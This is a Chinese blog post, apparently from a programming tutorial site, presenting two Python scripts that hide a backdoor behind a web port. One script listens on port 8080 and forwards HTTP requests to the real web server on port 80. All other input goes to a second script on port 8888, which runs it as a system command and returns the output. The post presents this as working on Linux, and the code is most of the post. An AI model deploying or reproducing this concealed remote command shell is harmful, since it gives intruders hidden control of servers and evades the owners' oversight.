python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python调用C语言开发的共享库方法实例
Mar 18 Python
总结Python编程中三条常用的技巧
May 11 Python
使用python3.5仿微软记事本notepad
Jun 15 Python
Python中动态创建类实例的方法
Mar 24 Python
Python SVM(支持向量机)实现方法完整示例
Jun 19 Python
python实现将汉字保存成文本的方法
Nov 16 Python
Python 实现数据结构中的的栈队列
May 16 Python
flask框架蓝图和子域名配置详解
Jan 25 Python
基于Python实现简单学生管理系统
Jul 24 Python
Python LMDB库的使用示例
Feb 14 Python
基于PyInstaller各参数的含义说明
Mar 04 Python
详解Python函数print用法
Jun 18 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
PHP安全的URL字符串base64编码和解码
2014/06/19 PHP
PHP生成随机密码类分享
2014/06/25 PHP
php post大量数据时发现数据丢失问题解决方法
2015/06/20 PHP
PHP可变变量学习小结
2015/11/29 PHP
php版微信开发之接收消息,自动判断及回复相应消息的方法
2016/09/23 PHP
jQuery的实现原理的模拟代码 -2 数据部分
2010/08/01 Javascript
js中判断对象是否为空的三种实现方法
2013/12/23 Javascript
JavaScript动态修改弹出窗口大小的方法
2015/04/06 Javascript
js立即执行函数: (function ( ){})( ) 与 (function ( ){}( )) 有什么区别?
2015/11/18 Javascript
JavaScript实现点击按钮直接打印
2016/01/06 Javascript
JavaScript表单验证开发
2016/11/23 Javascript
微信小程序 Canvas增强组件实例详解及源码分享
2017/01/04 Javascript
微信小程序实战之上拉(分页加载)效果(2)
2017/04/17 Javascript
nodejs动态创建二维码的方法
2017/08/12 NodeJs
Vue.js 使用v-cloak后仍显示变量的解决方法
2018/11/19 Javascript
js实现ATM机存取款功能
2020/10/27 Javascript
ES6基础之展开语法(Spread syntax)
2019/02/21 Javascript
vue 中 beforeRouteEnter 死循环的问题
2019/04/23 Javascript
JavaScript实现Excel表格效果
2020/02/07 Javascript
python 实现文件的递归拷贝实现代码
2012/08/02 Python
python pdb调试方法分享
2014/01/21 Python
Python Series从0开始索引的方法
2018/11/06 Python
django settings.py 配置文件及介绍
2019/07/15 Python
Python计算两个矩形重合面积代码实例
2019/09/16 Python
解决tensorflow 释放图,删除变量问题
2020/06/23 Python
利用Storage Event实现页面间通信的示例代码
2018/07/26 HTML / CSS
C/C++ 笔试、面试题目大汇总
2015/11/21 面试题
幼儿园园长岗位职责
2013/11/26 职场文书
物流专业大学的自我评价
2014/01/11 职场文书
班级口号大全
2014/06/09 职场文书
员工离职通知函
2015/04/25 职场文书
因工资原因离职的辞职信范文
2015/05/12 职场文书
2016年公务员六五普法心得体会
2016/01/21 职场文书
优秀的商业计划书,让融资一步到位
2019/05/07 职场文书
如何使用Python提取Chrome浏览器保存的密码
2021/06/09 Python
Java各种比较对象的方式的对比总结
2021/06/20 Java/Android